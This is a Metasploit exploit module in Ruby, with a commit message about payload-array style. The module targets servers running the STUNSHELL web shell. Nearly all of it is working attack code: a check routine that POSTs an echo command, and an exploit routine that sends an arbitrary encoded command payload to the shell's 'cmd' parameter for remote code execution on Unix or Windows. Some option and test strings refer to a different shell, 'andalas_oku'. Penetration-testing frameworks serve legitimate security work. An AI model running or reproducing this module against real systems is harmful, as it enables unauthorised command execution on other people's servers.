Tod Beardsley
c547e84fa7
According to the Ruby style guide, %w{} collections for arrays of single
words are preferred. They're easier to type, and if you want a quick
grep, they're easier to search.
This change converts all Payloads to this format if there is more than
one payload to choose from.
It also alphabetizes the payloads, so the order can be more predictable,
and for long sets, easier to scan with eyeballs.
See:
https://github.com/bbatsov/ruby-style-guide#collections
98 lines
2.8 KiB
Ruby
98 lines
2.8 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info={})
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super(update_info(info,
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'Name' => 'STUNSHELL Web Shell Remote Code Execution',
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'Description' => %q{
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This module exploits unauthenticated versions of the "STUNSHELL" web shell.
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This module works when safe mode is disabled on the web server. This shell is
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widely used in automated RFI payloads.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'bwall <bwall[at]openbwall.com>' # vuln discovery & msf module
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],
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'References' =>
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[
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['OSVDB', '91842'],
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['URL', 'https://defense.ballastsecurity.net/wiki/index.php/STUNSHELL'],
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['URL', 'https://defense.ballastsecurity.net/decoding/index.php?hash=a4cd8ba05eb6ba7fb86dd66bed968007']
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],
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'Privileged' => false,
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'Payload' =>
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{
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'Space' => 10000, # Value determined by web server's POST limits
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'BadChars' => '',
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'DisableNops' => true,
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'Compat' =>
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{
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'PayloadType' => 'cmd'
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}
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},
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'Platform' => %w{ unix win },
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'Arch' => ARCH_CMD,
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'Targets' =>
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[
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['stunshell / Unix', { 'Platform' => 'unix' } ],
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['stunshell / Windows', { 'Platform' => 'win' } ]
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],
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'DisclosureDate' => 'Mar 23 2013',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('TARGETURI',[true, "The path to the andalas_oku shell", "/IDC.php"]),
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],self.class)
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end
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def check
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uri = normalize_uri(target_uri.path.to_s)
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request_parameters = {
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'method' => 'POST',
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'uri' => uri,
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'vars_post' =>
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{
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'cmd' => "echo 'andalas_oku test parameter'"
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}
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}
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shell = send_request_cgi(request_parameters)
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if (shell and shell.body =~ /andalas_oku test parameter/)
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Safe
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end
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def http_send_command(cmd)
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uri = normalize_uri(target_uri.path.to_s)
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request_parameters = {
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'method' => 'POST',
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'uri' => uri,
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'vars_post' =>
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{
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'cmd' => cmd
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}
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}
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res = send_request_cgi(request_parameters)
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if not (res and res.code == 200)
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fail_with(Failure::Unknown, 'Failed to execute the command.')
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end
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end
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def exploit
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http_send_command(payload.encoded)
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end
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end
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